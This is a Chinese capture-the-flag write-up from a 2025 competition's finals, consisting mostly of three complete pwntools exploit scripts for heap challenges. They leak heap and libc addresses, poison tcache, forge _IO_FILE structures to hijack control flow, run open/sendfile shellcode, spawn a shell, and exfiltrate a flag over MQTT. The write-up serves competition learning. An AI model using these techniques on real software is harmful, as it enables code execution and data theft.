湾区杯-2025

湾区杯-2025

InkeyP Lv3

湾区杯2025 决赛

encryptednote

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#!/usr/bin/env python3
from pwncli import *
from base64 import *

context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
addr = '172.65.110.61 9999'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

cmd = '''
brva 0x1826
brva 0x1983
brva 0x1A4D
brva 0x1C3C
dir /mnt/f/Documents/CTF/glibc/glibc-2.35
set $heap = $rebase(0x40E0)
b __libio_codecvt_in
c
'''

IAT = b'1. add\n2. show\n3. delete\n4. edit\n5. back\nchoice> '


def add(idx, size):
sla(IAT, b'1')
sla(b'index', str(idx))
sla(b'length', str(size))


def dele(idx):
sla(IAT, b'3')
sla(b'index', str(idx))


def edit(idx, data):
sla(IAT, b'4')
sla(b'index', str(idx))
sla(b'newcontent', b64encode(data))


def show(idx):
sla(IAT, b'2')
sla(b'index> ', str(idx))


sla(b'\n====== Heap Manager ======\n1. manage chunks\n2. exit\nchoice> ', b'1')
add(0, 0x108)
dele(0)
add(0, 0x108)
show(0)
heap_base = u64_ex(r(5)) << 12
log_heap_base_addr(heap_base)

add(12, 0x500)
add(13, 0x10)
dele(12)
add(12, 0x500)
show(12)
libc_base = u64_ex(r(6)) - 0x21ACE0
set_current_libc_base_and_log(libc_base)

add(3, 0x420)
payload = flat(
{
0x80: [0, 0x4A0, heap_base + 0x960, heap_base + 0x960],
},
filler='\x00',
)
edit(3, payload)
add(4, 0xF8)
add(5, 0x4F8)
add(6, 0xF8)
edit(4, b'\x00' * 0xF0 + p64(0x4A0))
dele(5)

dele(6)
dele(4)
add(7, 0x990)
payload = b'\x00' * 0x3A0 + p64(protect_ptr(heap_base + 0xD10, libc.sym._IO_list_all))
edit(7, payload)
add(8, 0xF8)
add(9, 0xF8)
add(10, 0x300)
fake_IO_FILE = heap_base + 0x1410
ucontext = flat(
{
0x0: (__shlib_handle := 0), # codecvt->__cd_in.step->__shlib_handle
0x28: (__fct := libc.sym.setcontext), # codecvt->__cd_in.step->__fct rip
0xA0: (_rsp := fake_IO_FILE + 0xE0 + 0xE0),
0x78: (_rbp := 0),
0x68: (_rdi := heap_base),
0x70: (_rsi := 0x20000),
0x88: (_rdx := 7),
0x80: (_rbx := 0),
0x98: (_rcx := 0),
# 0x28: (_r8 := 0),
0x30: (_r9 := 0),
0x48: (_r12 := 0),
0x50: (_r13 := 0),
0x58: (_r14 := 0),
0x60: (_r15 := 0),
0xA8: (_rip := libc.sym.mprotect),
0xE0: fake_IO_FILE + 0xE0 + 0xE8, # fldenv [rcx]
0xE8: asm(shellcraft.open('flag', 0) + shellcraft.sendfile(1, 3, 0, 0x100) + shellcraft.write(1, 'rsp', 0x100)),
},
filler=b'\x00',
)

IO_payload = flat(
{
0x0: ~(4 | 0x10),
0x10: (_IO_read_end := 0x666), # fp->_IO_read_ptr < fp->_IO_read_end
0x28: (_IO_write_base := 0x666), # fp->_IO_write_ptr < fp->_IO_write_end
0x98: (_codecvt := fake_IO_FILE + 0xA8), # _codecvt
0xA0: (_wide_data := fake_IO_FILE + 0x28), # _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end *A >= *(A + 8)
0xA8: (__cd_instep := fake_IO_FILE + 0xE0), # codecvt->__cd_in.step
0xD8: libc.sym._IO_wfile_jumps + 0x8, # vtable _IO_wfile_jumps -> _IO_wfile_underflow
0xE0: ucontext,
},
filler=b'\x00',
)
edit(10, IO_payload)
launch_gdb(cmd)
edit(9, p64(fake_IO_FILE))
sl(b'5')
sl(b'2')

ia()

M-ECU

解base64计算长度错误,后面填充多少个=就会减多少长度,这样可以覆盖到token

然后shellcode,限制长度先从name中复制shellcode,然后write(5, mqtt_header+flag, len)

close了1,2,3,4,只保留了5,只能通过mqtt实现flag外带

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
#!/usr/bin/env python3
from pwncli import *
import paho.mqtt.client as mqtt
import json
import ctypes
from base64 import *
from ae64 import AE64

clibc = ctypes.CDLL("libc.so.6")


def on_message(client, userdata, msg):
print(f"[消息] 主题: {msg.topic} QoS: {msg.qos} Payload: {msg.payload.decode(errors='ignore')}")
global data_recv, is_recv
is_recv = True
data_recv = msg.payload


def network_loop():
# loop_forever 内部会自动重连,阻塞直到 disconnect()
res_client.loop_forever()


local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

if local_flag != "remote":
BROKER_HOST = "127.0.0.1"
BROKER_PORT = 1883
else:
BROKER_HOST = "172.36.110.201"
BROKER_PORT = 1883

TOPIC = "ecu/command"
client = mqtt.Client(client_id="ik")
client.connect(BROKER_HOST, BROKER_PORT, keepalive=60)

res_client = mqtt.Client(client_id="res_ik")
res_client.on_message = on_message
res_client.connect(BROKER_HOST, BROKER_PORT, keepalive=60)
res_client.subscribe("ecu/response", qos=0)

t = threading.Thread(target=network_loop, name="MQTT-Network", daemon=True)
t.start()

context.terminal = ["tmux", "splitw", "-h", "-l", "130"]

gift.elf = ELF(elf_path := './mqtt_client')
if local_flag == "remote":
addr = '172.36.110.201 9999'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

cmd = '''
brva 0x4243
brva 0x427B

brva 0x3743
brva 0x39EA
# add
brva 0x3CF8
# show
brva 0x3FDF
# dele

set $d = (void *)0x13370000
# ida
c
si
b *($rip+0x27)
'''


def add(id, data, len):
payload_opcode = {'id': id, 'data': data, 'len': len}
payload_opcode = json.dumps(payload_opcode, ensure_ascii=False, separators=(',', ':'))
payload_opcode_encode = b64encode(payload_opcode.encode()).decode()
payload = {'opcode': 5, 'payload': payload_opcode_encode}
payload = json.dumps(payload, ensure_ascii=False, separators=(',', ':'))
client.publish(TOPIC, payload, qos=0)


def show(id):
payload_opcode = {'id': id}
payload_opcode = json.dumps(payload_opcode, ensure_ascii=False, separators=(',', ':'))
payload_opcode_encode = b64encode(payload_opcode.encode()).decode()
payload = {'opcode': 6, 'payload': payload_opcode_encode}
payload = json.dumps(payload, ensure_ascii=False, separators=(',', ':'))
client.publish(TOPIC, payload, qos=0)


def dele(id):
payload_opcode = {'id': id}
payload_opcode = json.dumps(payload_opcode, ensure_ascii=False, separators=(',', ':'))
payload_opcode_encode = b64encode(payload_opcode.encode()).decode()
payload = {'opcode': 7, 'payload': payload_opcode_encode}
payload = json.dumps(payload, ensure_ascii=False, separators=(',', ':'))
client.publish(TOPIC, payload, qos=0)


payload = {'opcode': 0x2, 'payload': 'inkey', 'token': '6161616161616100'}
payload = json.dumps(payload, ensure_ascii=False, separators=(',', ':')).encode()
client.publish(TOPIC, payload, qos=0)

shellcode = '''
push 0x67616c66
push 2
pop rax
mov rdi, rsp
xor esi, esi
syscall
mov rax, 0x6161616161616161
push rax
push rax
push rax
push rax
xor edi, edi
mov rsi, rsp
push r11
pop rdx
push 0
pop rax
syscall
mov rax, 0x65736e6f70736572
push rax
mov rax, 0x2f7563650c004030
push rax
mov rsi, rsp
push 5
pop rdi
push 1
pop rax
push 0x48
pop rdx
syscall
'''
shellcode = asm(shellcode) + b'\x90' * 0x20
log_ex(f'len: {len(shellcode):#x}')
payload_opcode_encode = b64encode(shellcode.ljust(0x800, b'a') + b'a' * 7).decode().ljust(0xB10, '=')
payload = {'opcode': 5, 'payload': payload_opcode_encode}
payload = json.dumps(payload, ensure_ascii=False, separators=(',', ':'))
client.publish(TOPIC, payload, qos=0)

shellcode = '''
mov al, 0x37
mov ah, 0x13
shl eax, 16
add eax, 0x38
add eax, 0x70
add rdx, 0x40
push 0x70
pop rcx
mov bl, [rax]
mov [rdx], bl
inc rax
inc rdx
dec rcx
cmp rcx, 1
jnz $-0x11
jmp $+0x19
'''
shellcode = asm(shellcode)
log_ex(f'len: {len(shellcode):#x}')

launch_gdb(cmd)
payload = {'opcode': 0x1002, 'payload': 'inkey', 'token': '6161616161616100'}
payload = json.dumps(payload, ensure_ascii=False, separators=(',', ':')).encode()
payload = payload.replace(b'inkey', shellcode)
client.publish(TOPIC, payload, qos=0)

ia()

babyshark

随机数种子是时间,可以本地预测远程的

常规uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
#!/usr/bin/env python3
from pwncli import *
from ctypes import *

clibc = CDLL("./libc.so.6")

context.terminal = ["tmux", "splitw", "-h", "-l", "130"]
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './chal')
if local_flag == "remote":
addr = '172.36.110.113 8888'
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
time_ = clibc.time(0) - 1
else:
gift.io = process(elf_path)
time_ = clibc.time(0)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

cmd = '''
brva 0x173B
brva 0x1919
brva 0x19A7
brva 0x1AE3
brva 0x1B98
brva 0x1F9F

# brva 0x1DEB
# brva 0x1E1A
# brva 0x138F
# ida
set $heap = $rebase(0x4080)
c
'''

IAT = b'\n'


def convert(n):
i = 0
ret = 0
while True:
j = n & 0x7F
n >>= 7
if n == 0:
ret |= j << i
break
j |= 1 << 7
ret |= j << i
i += 8

if 0xFF < ret < 0x1000:
ret = p16(ret)
elif 0xFFFF < ret < 0x100000:
ret = p24_ex(ret)
else:
ret = p8(ret)

return ret


def add(size, data=b''):
size = convert(size)
if data == b'':
payload = p8(1 << 3) + p8(1) + p8(3 << 3) + size
else:
payload = p8(1 << 3) + p8(1) + p8(3 << 3) + size + p8(2 | 4 << 3) + convert(len(data)) + data
s(convert(len(payload)))
s(payload)
ru(b'ok')


def dele(idx):
idx = ((idx & 0b11111) << 3) | (idx >> 5)
idx = idx ^ byte_4280
idx = convert(idx)
payload = p8(1 << 3) + p8(3) + p8(2 << 3) + idx
s(convert(len(payload)))
s(payload)
ru(b'freed')


def dele_uaf(idx, data):
idx = ((idx & 0b11111) << 3) | (idx >> 5)
idx = idx ^ byte_4280
idx = convert(idx)
payload = p8(1 << 3) + p8(9) + p8(2 << 3) + idx
s(convert(len(payload)))
s(payload)
sla(b'your msg:', data)
ru(b'done')


def edit(idx, data):
idx = ((idx & 0b11111) << 3) | (idx >> 5)
idx = idx ^ byte_4280
idx = convert(idx)
size = convert(len(data))
payload = p8(1 << 3) + p8(2) + p8(2 << 3) + idx + p8(3 << 3) + size + p8(2 | 4 << 3) + size + data
s(convert(len(payload)))
s(payload)
ru(b'edited')


def show(idx):
idx = ((idx & 0b11111) << 3) | (idx >> 5)
idx = idx ^ byte_4280
idx = convert(idx)
payload = p8(1 << 3) + p8(4) + p8(2 << 3) + idx
s(convert(len(payload)))
s(payload)


def bye():
payload = p8(1 << 3) + p8(5)
s(convert(len(payload)))
s(payload)


ru(b'heap service ready')
clibc.srand(time_)
byte_4280 = clibc.rand() & 0xFF
log_ex(f'byte_4280: {byte_4280:#x}')

for i in range(7):
add(0x100)
add(0x100)
add(0x100) # 8 victim
add(0x10)
for i in range(7):
dele(i)
dele_uaf(8, b'a')
dele(7)
add(0x100)
dele(8)

for i in range(9):
add(0x100)
dele(1)
show(10)
r(5)
heap_base = u64_ex(r(5)) << 12
log_heap_base_addr(heap_base)

add(0x100)
dele(0)
dele(1)
edit(10, p64(protect_ptr(heap_base + 0xB40, heap_base + 0x10)))
add(0x100)
add(0x100)
payload = flat(
{
0x0: 1 << 0 | 1 << 16,
0x80: heap_base + 0x2A0,
0x88: heap_base + 0xD20,
},
filler=b'\x00',
)
edit(1, payload)
add(0x500)
add(0x10)
add(0x20)
dele(11)
show(13)
r(5)
libc_base = u64_ex(r(6)) - 0x21ACE0
set_current_libc_base_and_log(libc_base)

payload = flat(
{
0x0: 1 << 0 | 1 << 16,
0x80: heap_base + 0x2A0,
0x88: libc.sym._IO_list_all,
},
filler=b'\x00',
)
edit(1, payload)
fake_IO_FILE = heap_base + 0x1250
payload = flat(
{
0x0: u64_ex(" sh"),
0x28: libc.sym.system, # function
0xA0: fake_IO_FILE + 0xD0 - 0xE0, # _wide_data->_wide_vtable
0xD0: fake_IO_FILE + 0x28 - 0x68, # _wide_data->_wide_vtable->doallocate
0xD8: libc.sym._IO_wfile_jumps, # vtable _IO_wfile_jumps-0x48
},
filler=b'\x00',
)
launch_gdb(cmd)
add(0x500, payload)
# edit(13, payload)
add(0x20, p64(fake_IO_FILE))
bye()


ia()

  • 标题: 湾区杯-2025
  • 作者: InkeyP
  • 创建于 : 2025-09-21 13:00:43
  • 更新于 : 2025-09-21 13:11:18
  • 链接: https://blog.inkey.top/202509/21/湾区杯-2025/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论